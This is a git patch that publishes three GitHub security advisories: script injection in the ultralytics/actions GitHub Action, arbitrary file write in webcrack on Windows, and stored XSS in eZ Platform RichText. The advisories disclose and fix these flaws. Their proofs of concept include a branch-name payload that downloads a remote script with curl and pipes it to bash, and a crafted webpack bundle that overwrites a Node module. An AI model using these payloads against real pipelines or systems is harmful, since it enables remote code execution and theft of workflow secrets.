From 9b4e0dae591d9d7e71447d732d65f315fb047df0 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 14 Aug 2024 20:55:12 +0000 Subject: [PATCH] Publish Advisories GHSA-7x29-qqmq-v6qc GHSA-ccqh-278p-xq6w GHSA-rhm7-7469-rcpw --- .../GHSA-7x29-qqmq-v6qc.json | 68 +++++++++++++++++++ .../GHSA-ccqh-278p-xq6w.json | 4 +- .../GHSA-rhm7-7469-rcpw.json | 4 +- 3 files changed, 72 insertions(+), 4 deletions(-) create mode 100644 advisories/github-reviewed/2024/08/GHSA-7x29-qqmq-v6qc/GHSA-7x29-qqmq-v6qc.json diff --git a/advisories/github-reviewed/2024/08/GHSA-7x29-qqmq-v6qc/GHSA-7x29-qqmq-v6qc.json b/advisories/github-reviewed/2024/08/GHSA-7x29-qqmq-v6qc/GHSA-7x29-qqmq-v6qc.json new file mode 100644 index 00000000000..e5a164907ba --- /dev/null +++ b/advisories/github-reviewed/2024/08/GHSA-7x29-qqmq-v6qc/GHSA-7x29-qqmq-v6qc.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7x29-qqmq-v6qc", + "modified": "2024-08-14T20:53:47Z", + "published": "2024-08-14T20:53:47Z", + "aliases": [ + + ], + "summary": "GitHub Actions Script Injection in `ultralytics/actions`", + "details": "### Summary\n\nThe Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the `pull_request_target` trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name.\n\n### Details\n\nThe issue exists because the `action.yml` is a composite action and uses certain fields by GitHub context expression within a `run` step:\n\n```\n echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\"\n echo \"github.ref: ${{ github.ref }}\"\n echo \"github.head_ref: ${{ github.head_ref }}\"\n echo \"github.base_ref: ${{ github.base_ref }}\"\n```\n\nIn this case, `github.head_ref` and `github.event.pull_request.head.ref` are user controlled and can be used to inject code.\n\n### PoC\n\n1. Create a fork of any repository that uses `ultralytics/actions` within a workflow that runs on `pull_request_target`.\n2. In the fork create a branch as an injection payload, e.g.: `Hacked\";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash`\n\n3. Create a draft pull request.\n4. If the action is reachable, then achieve arbitrary code execution.\n\n![ultra_cve_poc](https://github.com/ultralytics/actions/assets/2006441/b865a54c-38b5-451c-8e93-c497ad6874a2)\n\nSee my full POC here (https://github.com/AdnaneKhan/Ultralytics_POC/actions/runs/9733997201 and https://github.com/AdnaneKhan/Ultralytics_POC), where I created a test workflow that used the action and achieved arbitrary execution using another account by creating a pull request from a fork.\n\n### Impact\n\nAny workflow that uses the action and runs on `pull_request_target` is vulnerable to arbitrary code execution within the context of the base branch. An attacker can use this to abuse the `GITHUB_TOKEN` or steal secrets from the workflow.\n\n### Fix\n\nSanitize the user-controlled variables using environment vars.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "GitHub Actions", + "name": "ultralytics/actions" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.0.3" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.0.2" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc" + }, + { + "type": "WEB", + "url": "https://github.com/ultralytics/actions/commit/8069e0ac4c23170f308ea6985783e64ca4a7900a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ultralytics/actions" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-08-14T20:53:47Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/08/GHSA-ccqh-278p-xq6w/GHSA-ccqh-278p-xq6w.json b/advisories/github-reviewed/2024/08/GHSA-ccqh-278p-xq6w/GHSA-ccqh-278p-xq6w.json index 67395275524..023abead6d1 100644 --- a/advisories/github-reviewed/2024/08/GHSA-ccqh-278p-xq6w/GHSA-ccqh-278p-xq6w.json +++ b/advisories/github-reviewed/2024/08/GHSA-ccqh-278p-xq6w/GHSA-ccqh-278p-xq6w.json @@ -1,10 +1,10 @@ { "schema_version": "1.4.0", "id": "GHSA-ccqh-278p-xq6w", - "modified": "2024-08-14T18:01:06Z", + "modified": "2024-08-14T20:52:25Z", "published": "2024-08-14T18:01:06Z", "aliases": [ - + "CVE-2024-43373" ], "summary": "webcrack has an Arbitrary File Write Vulnerability on Windows when Parsing and Saving a Malicious Bundle", "details": "### Summary\nAn arbitrary file write vulnerability exists in the webcrack module when processing specifically crafted malicious code on Windows systems. This vulnerability is triggered when using the unpack bundles feature in conjunction with the saving feature. If a module name includes a path traversal sequence with Windows path separators, an attacker can exploit this to overwrite files on the host system.\n\n### Details\n\nSource: [packages/webcrack/src/unpack/bundle.ts#L79](https://github.com/j4k0xb/webcrack/blob/241f9469e6401f3dabc6373233d85a5e76966b54/packages/webcrack/src/unpack/bundle.ts#L79)\n```ts\nimport { posix } from 'node:path';\nimport type { Module } from './module';\n\n// eslint-disable-next-line @typescript-eslint/unbound-method\nconst { dirname, join, normalize } = posix;\n\n/* ... snip ... */\n\nconst modulePath = normalize(join(path, module.path));\nif (!modulePath.startsWith(path)) {\n throw new Error(`detected path traversal: ${module.path}`);\n}\nawait mkdir(dirname(modulePath), {\n recursive: true\n});\nawait writeFile(modulePath, module.code, 'utf8');\n```\n\nIn this code, the application explicitly relies on the POSIX version of path utilities (`dirname`, `join`, `normalize`) from Node.js. However, the vulnerability arises because the POSIX version of the `normalize` function does not recognize `\\` as a path separator. As a result, on Windows systems, the path traversal check fails, allowing an attacker to write files to unintended locations.\n\n### PoC\nThe following proof of concept demonstrates how this vulnerability can be exploited to overwrite and hijack the `debug` module in Node.js:\n\n**Malicious Script (what.js):**\n\n```js\n(function (e) {\n var n = {};\n function o(r) {\n if (n[r]) {\n return n[r].exports;\n }\n var a = (n[r] = {\n i: r,\n l: false,\n exports: {},\n });\n e[r].call(a.exports, a, a.exports, o);\n a.l = true;\n return a.exports;\n }\n o.p = '';\n o((o.s = 386));\n })({\n './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index': function (e, t, n) {\n module.exports = () => console.log(\"pwned\")\n },\n });\n```\n\n**Webcrack Script (index.js):**\n\n```js\nimport fs from 'fs';\nimport { webcrack } from 'webcrack';\n\nconst input = fs.readFileSync('what.js', 'utf8');\n\nconst result = await webcrack(input);\nconsole.log(result.code);\nconsole.log(result.bundle);\nawait result.save('output-dir');\n```\n\n**Execution:**\nRunning the above script with `node index.js` twice results in the following output being printed to the terminal:\n\n```\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\n(function (e) {\n var n = {};\n function o(r) {\n if (n[r]) {\n return n[r].exports;\n }\n var a = n[r] = {\n i: r,\n l: false,\n exports: {}\n };\n e[r].call(a.exports, a, a.exports, o);\n a.l = true;\n return a.exports;\n }\n o.p = \"\";\n o(o.s = 386);\n})({\n \"./\\\\..\\\\node_modules\\\\debug\\\\src\\\\index\": function (e, t, n) {\n module.exports = () => console.log(\"pwned\");\n }\n});\nWebpackBundle {\n type: 'webpack',\n entryId: '386',\n modules: Map(1) {\n './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index' => WebpackModule {\n id: './\\\\..\\\\node_modules\\\\debug\\\\src\\\\index',\n isEntry: false,\n path: '././\\\\..\\\\node_modules\\\\debug\\\\src\\\\index.js',\n ast: [Object]\n }\n }\n}\nWaiting for the debugger to disconnect...\nPS C:\\Webcrack> node .\\index.js\nDebugger attached.\npwned\npwned\npwned\npwned\npwned\npwned\npwned\nWaiting for the debugger to disconnect...\nfile:///C:/Webcrack/node_modules/webcrack/dist/index.js:444\n if (options.log) logger(`${name}: started`);\n ^\n\nTypeError: logger is not a function\n at applyTransforms (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:444:20)\n at Array. (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4259:7)\n at webcrack (file:///C:/Webcrack/node_modules/webcrack/dist/index.js:4292:20)\n at async file:///C:/Webcrack/index.js:6:16\n\nNode.js v18.16.0\n```\n\nThis demonstrates that the debug module was successfully overwritten and hijacked to print `pwned` to the console, confirming the arbitrary file write vulnerability has lead to code execution.\n\n### Impact\nThis vulnerability allows an attacker to write arbitrary `.js` files to the host system, which can be leveraged to hijack legitimate Node.js modules to gain arbitrary code execution.\n", diff --git a/advisories/github-reviewed/2024/08/GHSA-rhm7-7469-rcpw/GHSA-rhm7-7469-rcpw.json b/advisories/github-reviewed/2024/08/GHSA-rhm7-7469-rcpw/GHSA-rhm7-7469-rcpw.json index 77021c92be3..b1c0d85fd0e 100644 --- a/advisories/github-reviewed/2024/08/GHSA-rhm7-7469-rcpw/GHSA-rhm7-7469-rcpw.json +++ b/advisories/github-reviewed/2024/08/GHSA-rhm7-7469-rcpw/GHSA-rhm7-7469-rcpw.json @@ -1,10 +1,10 @@ { "schema_version": "1.4.0", "id": "GHSA-rhm7-7469-rcpw", - "modified": "2024-08-14T18:08:23Z", + "modified": "2024-08-14T20:52:22Z", "published": "2024-08-14T18:08:22Z", "aliases": [ - + "CVE-2024-43372" ], "summary": "Persistent Cross-site Scripting in eZ Platform Rich Text Field Type", "details": "### Impact\nThe validator for the RichText fieldtype blocklists `javascript:` and `vbscript:` in links to prevent XSS. This can leave other options open, and the check can be circumvented using upper case. Content editing permissions for RichText content is required to exploit this vulnerability, which typically means Editor role or higher. The fix implements an allowlist instead, which allows only approved link protocols. The new check is case insensitive.\n\n### Patches\n- See \"Patched versions\".\n- https://github.com/ezsystems/ezplatform-richtext/commit/6131975108fa9756e17043e7a06a4e72f786f842 (and follow-ups https://github.com/ezsystems/ezplatform-richtext/commit/8b75c603dfd1ad6f6f3db15ae2324876683cbaf9 and https://github.com/ezsystems/ezplatform-richtext/commit/7bbc6d024c6146d1e1ba84d27a3ebffe9459613e and https://github.com/ezsystems/ezplatform-richtext/commit/2c652915625c47b493a2be06924f4c87d1df7d8e and https://github.com/ezsystems/ezplatform-richtext/commit/dbe816f3ff4c903cc508dfdcdca8791c8284d292)\n\n### Workarounds\nNone.\n\n### References\n- Same issue in v4.6: https://github.com/ibexa/fieldtype-richtext/security/advisories/GHSA-hvcf-6324-cjh7\n- Ibexa advisory: https://developers.ibexa.co/security-advisories/ibexa-sa-2024-005-persistent-xss-in-richtext\n\n### Credit\nThis vulnerability was discovered and reported to Ibexa by Alec Romano: https://github.com/4rdr\nWe thank them for reporting it responsibly to us.\n\nHow to report security issues:\nhttps://doc.ibexa.co/en/latest/infrastructure_and_maintenance/security/reporting_issues/",